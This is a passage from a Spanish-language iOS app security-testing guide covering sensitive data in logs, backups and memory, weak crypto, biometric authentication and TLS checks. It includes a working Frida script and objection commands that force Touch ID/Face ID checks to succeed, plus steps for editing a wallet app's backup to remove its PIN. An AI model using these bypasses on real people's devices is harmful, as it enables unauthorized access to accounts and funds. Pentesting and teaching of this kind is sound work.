Por lo tanto, **revisa siempre estos archivos** y busca **información** **sensible** posible.\
**Interceptar el tráfico de red** es otra forma de verificar si el teclado personalizado está enviando pulsaciones de teclas a un servidor remoto.
{% endhint %}

El [protocolo UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) se utiliza para la caché del teclado. Las clases UITextField, UITextView y UISearchBar admiten automáticamente este protocolo y ofrece las siguientes propiedades:

* `var autocorrectionType: UITextAutocorrectionType` determina si la autocorrección está habilitada durante la escritura. Cuando la autocorrección está habilitada, el objeto de texto rastrea palabras desconocidas y sugiere reemplazos adecuados, reemplazando el texto escrito automáticamente a menos que el usuario anule el reemplazo. El valor predeterminado de esta propiedad es `UITextAutocorrectionTypeDefault`, que para la mayoría de los métodos de entrada habilita la autocorrección.
* `var secureTextEntry: BOOL` determina si se deshabilitan la copia de texto y la caché de texto y oculta el texto que se está ingresando para `UITextField`. El valor predeterminado de esta propiedad es `NO`.

**Para identificar este comportamiento en el código:**

* Busca en el código fuente implementaciones similares, como
```objectivec
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;
```
* Abra archivos xib y storyboard en el `Interface Builder` de Xcode y verifique los estados de `Secure Text Entry` y `Correction` en el `Attributes Inspector` para el objeto apropiado.

La aplicación debe prevenir el almacenamiento en caché de información sensible ingresada en campos de texto. Puede evitar el almacenamiento en caché deshabilitándolo programáticamente, utilizando la directiva `textObject.autocorrectionType = UITextAutocorrectionTypeNo` en los UITextFields, UITextViews y UISearchBars deseados. Para datos que deben estar enmascarados, como PINs y contraseñas, establezca `textObject.secureTextEntry` en `YES`.
```objectivec
UITextField *textField = [ [ UITextField alloc ] initWithFrame: frame ];
textField.autocorrectionType = UITextAutocorrectionTypeNo;
```
## **Registros**

La forma más común de depurar código es utilizando registros, y la aplicación **puede imprimir información sensible dentro de los registros**.\
En la versión 6 de iOS y anteriores, los registros eran legibles por cualquier aplicación (una aplicación maliciosa podría leer los registros de otras aplicaciones y extraer información sensible de allí). **Hoy en día, las aplicaciones solo pueden acceder a sus propios registros**.

Sin embargo, un **atacante** con **acceso físico** a un dispositivo **desbloqueado** puede conectarlo a una computadora y **leer los registros** (nota que los registros escritos en disco por una aplicación no se eliminan si la aplicación se desinstala).

Se recomienda **navegar por todas las pantallas** de la aplicación e **interactuar** con **cada** elemento de la interfaz de usuario y **funcionalidad** y proporcionar texto de entrada en todos los campos de texto y **revisar los registros** en busca de **información sensible** expuesta.

Utiliza las siguientes palabras clave para revisar el código fuente de la aplicación en busca de declaraciones de registro predefinidas y personalizadas:

* Para funciones predefinidas y integradas:
* NSLog
* NSAssert
* NSCAssert
* fprintf
* Para funciones personalizadas:
* Logging
* Logfile

**Monitoreo de Registros del Sistema**

Muchas aplicaciones registran mensajes informativos (y potencialmente sensibles) en el registro de la consola. El registro también contiene informes de fallos y otra información útil.

Puedes utilizar estas herramientas:
```bash
idevice_id --list   # To find the device ID
idevicesyslog -u <id> (| grep <app>)   # To get the device logs
```
Puede recopilar registros de consola a través de la ventana **Devices** de Xcode de la siguiente manera:

1. Inicie Xcode.
2. Conecte su dispositivo a su computadora anfitriona.
3. Elija **Window** -> **Devices and Simulators**.
4. Haga clic en su dispositivo iOS conectado en la sección izquierda de la ventana Devices.
5. Reproduzca el problema.
6. Haga clic en el botón **Open Console** ubicado en la parte superior derecha de la ventana Devices para ver los registros de consola en una ventana separada.

![](<../../.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (15).png>)

También puede conectarse al shell del dispositivo como se explica en Acceso al Shell del Dispositivo, instalar **socat** a través de **apt-get** y ejecutar el siguiente comando:
```bash
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock

========================
ASL is here to serve you
> watch
OK

Jun  7 13:42:14 iPhone chmod[9705] <Notice>: MS:Notice: Injecting: (null) [chmod] (1556.00)
Jun  7 13:42:14 iPhone readlink[9706] <Notice>: MS:Notice: Injecting: (null) [readlink] (1556.00)
Jun  7 13:42:14 iPhone rm[9707] <Notice>: MS:Notice: Injecting: (null) [rm] (1556.00)
Jun  7 13:42:14 iPhone touch[9708] <Notice>: MS:Notice: Injecting: (null) [touch] (1556.00)
...
```
```markdown
## Copias de seguridad

iOS incluye características de copia de seguridad automática que crean copias de los datos almacenados en el dispositivo. Puedes **hacer copias de seguridad de iOS** desde tu computadora anfitriona usando iTunes (hasta macOS Catalina) o Finder (desde macOS Catalina en adelante), o mediante la función de copia de seguridad de iCloud. En ambos casos, la copia de seguridad incluye casi todos los datos almacenados en el dispositivo iOS, excepto datos altamente sensibles como la información de Apple Pay y la configuración de Touch ID.

Dado que iOS respalda las aplicaciones instaladas y sus datos, una preocupación obvia es si **datos sensibles del usuario** almacenados por la aplicación podrían **filtrarse involuntariamente a través de la copia de seguridad**. Otra preocupación, aunque menos obvia, es si **configuraciones sensibles utilizadas para proteger datos o restringir la funcionalidad de la aplicación podrían ser alteradas para cambiar el comportamiento de la aplicación después de restaurar una copia de seguridad modificada**. Ambas preocupaciones son válidas y estas vulnerabilidades han demostrado existir en un gran número de aplicaciones hoy en día.

Una copia de seguridad de un dispositivo en el que se ha instalado una aplicación móvil incluirá todos los subdirectorios (excepto `Library/Caches/`) y archivos en el [directorio privado de la aplicación](https://developer.apple.com/library/content/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html#//apple_ref/doc/uid/TP40010672-CH2-SW12).\
Por lo tanto, **evita almacenar datos sensibles en texto plano dentro de cualquiera de los archivos o carpetas que están en el directorio privado de la aplicación o subdirectorios**.

Aunque todos los archivos en `Documents/` y `Library/Application Support/` siempre son respaldados por defecto, puedes [excluir archivos de la copia de seguridad](https://developer.apple.com/library/content/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html#//apple_ref/doc/uid/TP40010672-CH2-SW28) llamando a `NSURL setResourceValue:forKey:error:` con la clave `NSURLIsExcludedFromBackupKey`.\
Puedes usar las propiedades del sistema de archivos [NSURLIsExcludedFromBackupKey](https://developer.apple.com/reference/foundation/nsurl#//apple_ref/c/data/NSURLIsExcludedFromBackupKey) y [CFURLIsExcludedFromBackupKey](https://developer.apple.com/reference/corefoundation/cfurl-rd7#//apple_ref/c/data/kCFURLIsExcludedFromBackupKey) para excluir archivos y directorios de las copias de seguridad.

{% hint style="warning" %}
Por lo tanto, al revisar la copia de seguridad de una aplicación, debes verificar si **alguna información sensible** es accesible y si puedes **modificar algún comportamiento sensible** de la aplicación **modificando alguna configuración de la copia de seguridad** y restaurando la copia de seguridad.
{% endhint %}

**Cómo probar**

Comienza por **crear una copia de seguridad del dispositivo** (puedes hacerlo usando Finder) y encontrar dónde se almacena la copia de seguridad. La documentación oficial de Apple te ayudará a [localizar copias de seguridad de tu iPhone, iPad y iPod touch](https://support.apple.com/en-us/HT204215).

Una vez que hayas encontrado la copia de seguridad del dispositivo (`/Users/carlos.martin/Library/Application Support/MobileSync/Backup/{deviceID}`), puedes comenzar a buscar información sensible usando grep, por ejemplo, o utilizando herramientas como [iMazing](https://imazing.com)).

Para identificar si una copia de seguridad está cifrada, puedes verificar la clave denominada "IsEncrypted" del archivo "Manifest.plist", ubicado en la raíz del directorio de copia de seguridad. El siguiente ejemplo muestra una configuración que indica que la copia de seguridad está cifrada:
```
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
...
<key>Date</key>
<date>2021-03-12T17:43:33Z</date>
<key>IsEncrypted</key>
<true/>
...
</plist>
```
En caso de que necesites trabajar con una copia de seguridad cifrada, hay algunos scripts de Python en el [repositorio de GitHub de DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), como **backup_tool.py** y **backup_passwd.py**, que servirán como un buen punto de partida. Sin embargo, ten en cuenta que podrían no funcionar con las últimas versiones de iTunes/Finder y podrían necesitar ajustes.

También puedes usar la herramienta [**iOSbackup**](https://pypi.org/project/iOSbackup/) para leer y extraer archivos fácilmente de una copia de seguridad de iOS cifrada con contraseña.

**Cómo modificar el comportamiento**

En la aplicación de billetera de bitcoin de código abierto, [Bither](https://github.com/bither/bither-ios), verás que es posible configurar un PIN para bloquear la interfaz de usuario.\
Este PIN se almacena en el archivo `net.bither.plist` dentro de la **clave** **pin_code**.\
Si eliminas esta clave de ese plist en la copia de seguridad y restauras la copia, podrás acceder a la billetera.

## Probando la Memoria para Datos Sensibles

En algún momento, la información sensible se almacenará en la memoria. El objetivo es asegurarse de que esta información esté expuesta lo menos posible.

Para investigar la memoria de una aplicación, primero crea un **volcado de memoria**. Alternativamente, puedes **analizar la memoria en tiempo real** con, por ejemplo, un depurador. Independientemente del método que uses, este es un proceso muy propenso a errores porque los volcados proporcionan los datos dejados por las funciones ejecutadas y podrías perderte de ejecutar pasos críticos. Además, es bastante fácil pasar por alto datos durante el análisis a menos que conozcas la huella de los datos que estás buscando (ya sea su valor exacto o su formato). Por ejemplo, si la aplicación cifra según una clave simétrica generada aleatoriamente, es muy poco probable que encuentres la clave en la memoria a menos que encuentres su valor por otros medios.

**Recuperando y Analizando un Volcado de Memoria**

Ya sea que estés usando un dispositivo con jailbreak o sin jailbreak, puedes volcar la memoria del proceso de la aplicación con [objection](https://github.com/sensepost/objection) y [Fridump](https://github.com/Nightbringer21/fridump).

Después de que la memoria haya sido volcada (por ejemplo, a un archivo llamado "memory"), dependiendo de la naturaleza de los datos que estás buscando, necesitarás un conjunto de diferentes herramientas para procesar y analizar ese volcado de memoria. Por ejemplo, si te centras en cadenas de texto, podría ser suficiente para ti ejecutar el comando `strings` o `rabin2 -zz` para extraer esas cadenas.
```bash
# using strings
$ strings memory > strings.txt

# using rabin2
$ rabin2 -ZZ memory > strings.txt
```
Abra `strings.txt` en su editor favorito y examínelo para identificar información sensible.

Sin embargo, si desea inspeccionar otro tipo de datos, preferiría usar radare2 y sus capacidades de búsqueda. Consulte la ayuda de radare2 sobre el comando de búsqueda (`/?`) para obtener más información y una lista de opciones. A continuación, se muestra solo un subconjunto de ellas:
```bash
$ r2 <name_of_your_dump_file>

[0x00000000]> /?
Usage: /[!bf] [arg]  Search stuff (see 'e??search' for options)
|Use io.va for searching in non virtual addressing spaces
| / foo\x00                    search for string 'foo\0'
| /c[ar]                       search for crypto materials
| /e /E.F/i                    match regular expression
| /i foo                       search for string 'foo' ignoring case
| /m[?][ebm] magicfile         search for magic, filesystems or binary headers
| /v[1248] value               look for an `cfg.bigendian` 32bit value
| /w foo                       search for wide string 'f\0o\0o\0'
| /x ff0033                    search for hex string
| /z min max                   search for strings of given size
...
```
**Análisis de Memoria en Tiempo de Ejecución**

Al usar [**r2frida**](https://github.com/nowsecure/r2frida), puedes analizar e inspeccionar la memoria de la aplicación mientras se ejecuta y sin necesidad de volcarla. Por ejemplo, puedes ejecutar los comandos de búsqueda anteriores desde r2frida y buscar en la memoria una cadena, valores hexadecimales, etc. Al hacerlo, recuerda anteponer el comando de búsqueda (y cualquier otro comando específico de r2frida) con una barra invertida `\` después de iniciar la sesión con `r2 frida://usb//<nombre_de_tu_aplicación>`.

## Criptografía Vulnerable

### Procesos de Gestión de Claves Deficientes

Algunos desarrolladores guardan datos sensibles en el almacenamiento local y los cifran con una clave codificada/predecible en el código. Esto no se debe hacer ya que algunas técnicas de ingeniería inversa podrían permitir a los atacantes extraer la información confidencial.

### Uso de Algoritmos Inseguros y/o Obsoletos

Los desarrolladores no deben usar **algoritmos obsoletos** para realizar **verificaciones** de autorización, **almacenar** o **enviar** datos. Algunos de estos algoritmos son: RC4, MD4, MD5, SHA1... Si se utilizan **hashes** para almacenar contraseñas, por ejemplo, se deben usar hashes **resistentes** a la fuerza bruta con sal.

### Verificación

Las principales verificaciones a realizar son encontrar si puedes encontrar contraseñas/secreto **codificados** en el código, o si estos son **predecibles**, y si el código está utilizando algún tipo de algoritmos de **criptografía** **débil**.

Es interesante saber que puedes **monitorear** algunas **bibliotecas** de **cripto** automáticamente usando **objection** con:
```swift
ios monitor crypt
```
Para **más información** sobre las APIs criptográficas de iOS y el acceso a bibliotecas, visita [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)

## Autenticación Local

El evaluador debe ser consciente de que **la autenticación local siempre debe ser aplicada en un punto final remoto** o basada en un primitivo criptográfico. Los atacantes pueden eludir fácilmente la autenticación local si no se devuelve ningún dato del proceso de autenticación.

El [**framework de Autenticación Local**](https://developer.apple.com/documentation/localauthentication) proporciona un conjunto de APIs para que los desarrolladores extiendan un diálogo de autenticación al usuario. En el contexto de la conexión a un servicio remoto, es posible (y recomendable) aprovechar el [keychain](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) para implementar la autenticación local.

El sensor de **identificación por huella dactilar** es operado por el [coprocesador de seguridad SecureEnclave](https://www.blackhat.com/docs/us-16/materials/us-16-Mandt-Demystifying-The-Secure-Enclave-Processor.pdf) y no expone los datos de la huella dactilar a ninguna otra parte del sistema. Además de Touch ID, Apple introdujo _Face ID_: que permite la autenticación basada en reconocimiento facial.

Los desarrolladores tienen dos opciones para incorporar la autenticación Touch ID/Face ID:

* `LocalAuthentication.framework` es una API de alto nivel que se puede utilizar para **autenticar al usuario a través de Touch ID**. La aplicación no puede acceder a ningún dato asociado con la huella dactilar registrada y solo se le notifica si la autenticación fue exitosa.
* `Security.framework` es una API de bajo nivel para acceder a [servicios de keychain](https://developer.apple.com/documentation/security/keychain\_services). Esta es una opción segura si tu aplicación necesita **proteger algunos datos secretos con autenticación biométrica**, ya que el control de acceso se gestiona a nivel de sistema y no se puede eludir fácilmente. `Security.framework` tiene una API en C, pero hay varios [envoltorios de código abierto disponibles](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id), que facilitan el acceso al keychain tanto como a NSUserDefaults.

{% hint style="danger" %}
Ten en cuenta que el uso del `LocalAuthentication.framework` o del `Security.framework`, será un control que puede ser eludido por un atacante, ya que solo devuelve un valor booleano y no datos para continuar con el proceso. Consulta [Don't touch me that way, de David Lindner y otros](https://www.youtube.com/watch?v=XhXIHVGCFFM) para obtener más detalles.
{% endhint %}

### Framework de Autenticación Local

Los desarrolladores pueden mostrar un **mensaje de autenticación** utilizando la función **`evaluatePolicy`** de la clase **`LAContext`**. Dos políticas disponibles definen formas aceptables de autenticación:

* `deviceOwnerAuthentication`(Swift) o `LAPolicyDeviceOwnerAuthentication`(Objective-C): Cuando está disponible, se solicita al usuario que realice la autenticación Touch ID. Si Touch ID no está activado, se solicita en su lugar el código de acceso del dispositivo. Si el código de acceso del dispositivo no está habilitado, la evaluación de la política falla.
* `deviceOwnerAuthenticationWithBiometrics` (Swift) o `LAPolicyDeviceOwnerAuthenticationWithBiometrics`(Objective-C): La autenticación se restringe a la biometría donde se solicita al usuario Touch ID.

La función **`evaluatePolicy` devuelve un valor booleano** que indica si el usuario se ha autenticado con éxito. Lo que significa que puede ser fácilmente eludido (ver más abajo)

### Autenticación Local usando Keychain

Las **APIs de keychain de iOS pueden (y deben) usarse para implementar la autenticación local**. Durante este proceso, la aplicación almacena un token de autenticación secreto u otro dato secreto que identifica al usuario en el keychain. Para autenticarse en un servicio remoto, el usuario debe desbloquear el keychain usando su frase de paso o huella dactilar para obtener los datos secretos.

El keychain permite guardar elementos con el atributo especial `SecAccessControl`, que permitirá el acceso al elemento del keychain solo después de que el usuario haya pasado la autenticación Touch ID (o código de acceso, si se permite tal alternativa por los parámetros del atributo).

En el siguiente ejemplo guardaremos la cadena "test\_strong\_password" en el keychain. La cadena solo se puede acceder en el dispositivo actual mientras el código de acceso esté configurado (`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly` parámetro) y después de la autenticación Touch ID para los dedos actualmente registrados solamente (`SecAccessControlCreateFlags.biometryCurrentSet` parámetro):

{% tabs %}
{% tab title="Swift" %}
```swift
// 1. create AccessControl object that will represent authentication settings

var error: Unmanaged<CFError>?

guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
SecAccessControlCreateFlags.biometryCurrentSet,
&error) else {
// failed to create AccessControl object

return
}

// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute

var query: [String: Any] = [:]

query[kSecClass as String] = kSecClassGenericPassword
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecAttrAccount as String] = "OWASP Account" as CFString
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
query[kSecAttrAccessControl as String] = accessControl

// 3. save item

let status = SecItemAdd(query as CFDictionary, nil)

if status == noErr {
// successfully saved
} else {
// error while saving
}
```
{% endtab %}

{% tab title="Objective-C" %}
```objectivec
// 1. create AccessControl object that will represent authentication settings
CFErrorRef *err = nil;

SecAccessControlRef sacRef = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
kSecAccessControlUserPresence,
err);

// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
NSDictionary* query = @{
(_ _bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecAttrAccount: @"OWASP Account",
(__bridge id)kSecValueData: [@"test_strong_password" dataUsingEncoding:NSUTF8StringEncoding],
(__bridge id)kSecAttrAccessControl: (__bridge_transfer id)sacRef
};

// 3. save item
OSStatus status = SecItemAdd((__bridge CFDictionaryRef)query, nil);

if (status == noErr) {
// successfully saved
} else {
// error while saving
}
```
```markdown
{% endtab %}
{% endtabs %}

Ahora podemos solicitar el elemento guardado en el llavero. Los servicios de llavero presentarán el diálogo de autenticación al usuario y devolverán datos o nil dependiendo de si se proporcionó una huella digital adecuada o no.

{% tabs %}
{% tab title="Swift" %}
```
```swift
// 1. define query
var query = [String: Any]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecReturnData as String] = kCFBooleanTrue
query[kSecAttrAccount as String] = "My Name" as CFString
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString

// 2. get item
var queryResult: AnyObject?
let status = withUnsafeMutablePointer(to: &queryResult) {
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
}

if status == noErr {
let password = String(data: queryResult as! Data, encoding: .utf8)!
// successfully received password
} else {
// authorization not passed
}
```
{% endtab %}

{% tab title="Objective-C" %}
```objectivec
// 1. define query
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecReturnData: @YES,
(__bridge id)kSecAttrAccount: @"My Name1",
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecUseOperationPrompt: @"Please, pass authorisation to enter this area" };

// 2. get item
CFTypeRef queryResult = NULL;
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &queryResult);

if (status == noErr){
NSData* resultData = ( __bridge_transfer NSData* )queryResult;
NSString* password = [[NSString alloc] initWithData:resultData encoding:NSUTF8StringEncoding];
NSLog(@"%@", password);
} else {
NSLog(@"Something went wrong");
}
```
{% endtab %}
{% endtabs %}

### Detección

El uso de frameworks en una aplicación también puede detectarse analizando la lista de bibliotecas dinámicas compartidas del binario de la app. Esto se puede hacer utilizando `otool`:
```bash
$ otool -L <AppName>.app/<AppName>
```
Si `LocalAuthentication.framework` se utiliza en una app, la salida contendrá ambas de las siguientes líneas (recuerda que `LocalAuthentication.framework` utiliza `Security.framework` internamente):
```bash
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security
```
Si se utiliza `Security.framework`, solo se mostrará el segundo.

### Bypass del Marco de Autenticación Local

#### Objection

[**Objection Biometrics Bypass**](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) puede utilizarse para eludir LocalAuthentication. Objection **utiliza Frida para instrumentar la función `evaluatePolicy` de modo que devuelva `True`** incluso si la autenticación no se realizó con éxito. Utiliza el comando `ios ui biometrics_bypass` para eludir la autenticación biométrica insegura. Objection registrará un trabajo, que reemplazará el resultado de `evaluatePolicy`. Funcionará tanto en implementaciones de Swift como de Objective-C.
```bash
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
(agent) [3mhtws9x47q] OS authentication response: false
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete
```
Si es vulnerable, el módulo omitirá automáticamente el formulario de inicio de sesión.

#### Frida

Un ejemplo de uso de **`evaluatePolicy`** de la [aplicación DVIA-v2](https://github.com/prateek147/DVIA-v2):
```swift
+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
NSError *authError = nil;
NSString *myLocalizedReasonString = @"Please authenticate yourself";

if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
localizedReason:myLocalizedReasonString
reply:^(BOOL success, NSError *error) {
if (success) {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
});
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
});
}
}];
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
});
}
}
```
Para eludir la Autenticación Local, tenemos que escribir un script de Frida que **bypasses** la verificación _**evaluatePolicy**_ mencionada anteriormente. Como puedes ver en el fragmento de código pegado arriba, **evaluatePolicy** utiliza un **callback** que determina el **result**. Por lo tanto, la manera más fácil de lograr el hack es interceptar ese callback y asegurarse de que siempre devuelva el_ **success=1**.
```swift
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
if(ObjC.available) {
console.log("Injecting...");
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
var block = new ObjC.Block(args[4]);
const callback = block.implementation;
block.implementation = function (error, value)  {

console.log("Changing the result value to true")
const result = callback(1, null);
return result;
};
},
});
} else {
console.log("Objective-C Runtime is not available!");
}
```

```
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
```
## Exposición de Funcionalidades Sensibles a través de IPC

### Manejadores de URI Personalizados / Deeplinks / Esquemas Personalizados

{% content-ref url="ios-custom-uri-handlers-deeplinks-custom-schemes.md" %}
[ios-custom-uri-handlers-deeplinks-custom-schemes.md](ios-custom-uri-handlers-deeplinks-custom-schemes.md)
{% endcontent-ref %}

### Enlaces Universales

{% content-ref url="ios-universal-links.md" %}
[ios-universal-links.md](ios-universal-links.md)
{% endcontent-ref %}

### Compartir UIActivity

{% content-ref url="ios-uiactivity-sharing.md" %}
[ios-uiactivity-sharing.md](ios-uiactivity-sharing.md)
{% endcontent-ref %}

### UIPasteboard

{% content-ref url="ios-uipasteboard.md" %}
[ios-uipasteboard.md](ios-uipasteboard.md)
{% endcontent-ref %}

### Extensiones de Aplicaciones

{% content-ref url="ios-app-extensions.md" %}
[ios-app-extensions.md](ios-app-extensions.md)
{% endcontent-ref %}

### WebViews

{% content-ref url="ios-webviews.md" %}
[ios-webviews.md](ios-webviews.md)
{% endcontent-ref %}

### Serialización y Codificación

{% content-ref url="ios-serialisation-and-encoding.md" %}
[ios-serialisation-and-encoding.md](ios-serialisation-and-encoding.md)
{% endcontent-ref %}

## Comunicación de Red

Es importante verificar que no se produzca comunicación **sin encriptación** y también que la aplicación esté **validando correctamente el certificado TLS** del servidor.\
Para revisar estos problemas puedes usar un proxy como **Burp**:

{% content-ref url="burp-configuration-for-ios.md" %}
[burp-configuration-for-ios.md](burp-configuration-for-ios.md)
{% endcontent-ref %}

### Verificación de Nombre de Host

Un problema común al validar el certificado TLS es verificar que el certificado fue firmado por una **CA de confianza**, pero **no verificar** si **el nombre de host** del certificado es el nombre de host al que se accede.\
Para revisar este problema usando Burp, después de confiar en la CA de Burp en el iPhone, puedes **crear un nuevo certificado con Burp para un nombre de host diferente** y usarlo. Si la aplicación sigue funcionando, entonces, algo es vulnerable.

### Anclaje de Certificados

Si una aplicación está utilizando correctamente el Anclaje de Certificados, entonces la aplicación solo funcionará si el certificado es el esperado. Al probar una aplicación **esto podría ser un problema ya que Burp servirá su propio certificado.**\
Para eludir esta protección dentro de un dispositivo con jailbreak, puedes instalar la aplicación [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) o instalar [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)

También puedes usar `ios sslpinning disable` de **objection**.

## Misceláneos

* En **`/System/Library`** puedes encontrar los frameworks instalados en el teléfono utilizados por aplicaciones del sistema.
* Las aplicaciones instaladas por el usuario desde la App Store se encuentran dentro de **`/User/Applications`**.
* Y **`/User/Library`** contiene datos guardados por aplicaciones a nivel de usuario.
* Puedes acceder a **`/User/Library/Notes/notes.sqlite`** para leer las notas guardadas dentro de la aplicación.
* Dentro de la carpeta de una aplicación instalada (**`/User/Applications/<APP ID>/`**) puedes encontrar algunos archivos interesantes:
  * **`iTunesArtwork`**: El ícono utilizado por la app.
  * **`iTunesMetadata.plist`**: Información de la app utilizada en la App Store.
  * **`/Library/*`**: Contiene las preferencias y caché. En **`/Library/Cache/Snapshots/*`** puedes encontrar la captura realizada a la aplicación antes de enviarla al fondo.

### Actualización Forzada / Parcheo en Caliente

Los desarrolladores pueden **parchear todas las instalaciones de su aplicación instantáneamente** sin tener que volver a enviar la aplicación a la App Store y esperar su aprobación.\
Para este propósito, se suele utilizar [**JSPatch**](https://github.com/bang590/JSPatch). Pero también hay otras opciones como [Siren](https://github.com/ArtSabintsev/Siren) y [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
**Este es un mecanismo peligroso que podría ser abusado por SDKs de terceros maliciosos, por lo tanto, se recomienda verificar qué método se utiliza para la actualización automática (si lo hay) y probarlo.** Podrías intentar descargar una versión anterior de la app para este propósito.

### Terceros

Un problema de los SDKs de terceros es que **no hay control granular sobre las características ofrecidas por el SDK**. Podrías demandar al SDK y tener todas las características (incluyendo fugas de diagnóstico y conexiones HTTP inseguras), o no usarlo. Además, generalmente no es posible para los desarrolladores de aplicaciones **parchear una vulnerabilidad** en el SDK.\
Además, algunos SDKs comienzan a **contener malware una vez que son muy confiables** por la comunidad.

Además, las características que estos servicios proporcionan pueden involucrar **servicios de seguimiento para monitorear el comportamiento del usuario** mientras usa la app, vender anuncios publicitarios o mejorar la experiencia del usuario. La desventaja de los servicios de terceros es que los desarrolladores no conocen los detalles del código ejecutado a través de bibliotecas de terceros. En consecuencia, no se debe enviar más información de la necesaria a un servicio, y no se debe divulgar información sensible.

La desventaja es que un **desarrollador no conoce en detalle qué código se ejecuta a través de bibliotecas de terceros** y, por lo tanto, renuncia a la visibilidad. En consecuencia, se debe asegurar que no se envíe más de la información necesaria al servicio y que no se divulgue información sensible.

La mayoría de los servicios de terceros se implementan de dos maneras:

* con una biblioteca independiente
* con un SDK completo

Todos los datos que se envían a servicios de terceros deben ser anonimizados para evitar la exposición de PII (Información Personal Identificable) que permitiría al tercero identificar la cuenta del usuario.

Puedes encontrar las **bibliotecas utilizadas por una aplicación** ejecutando **`otool`** contra la app (y **ejecutándolo** **contra** **cada** biblioteca **compartida** para encontrar más bibliotecas compartidas utilizadas).

## **Referencias**

* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
* [iOS & Mobile App Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting)

## Más Información

* [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) Curso gratuito de IOS ([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
* [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577)
* [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse)
* [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA)
* [https://github.com/prateek147/DVIA-v2](https://github.com/prateek147/DVIA-v2)
* [https://github.com/OWASP/MSTG-Hacking-Playground%20](https://github.com/OWASP/MSTG-Hacking-Playground)
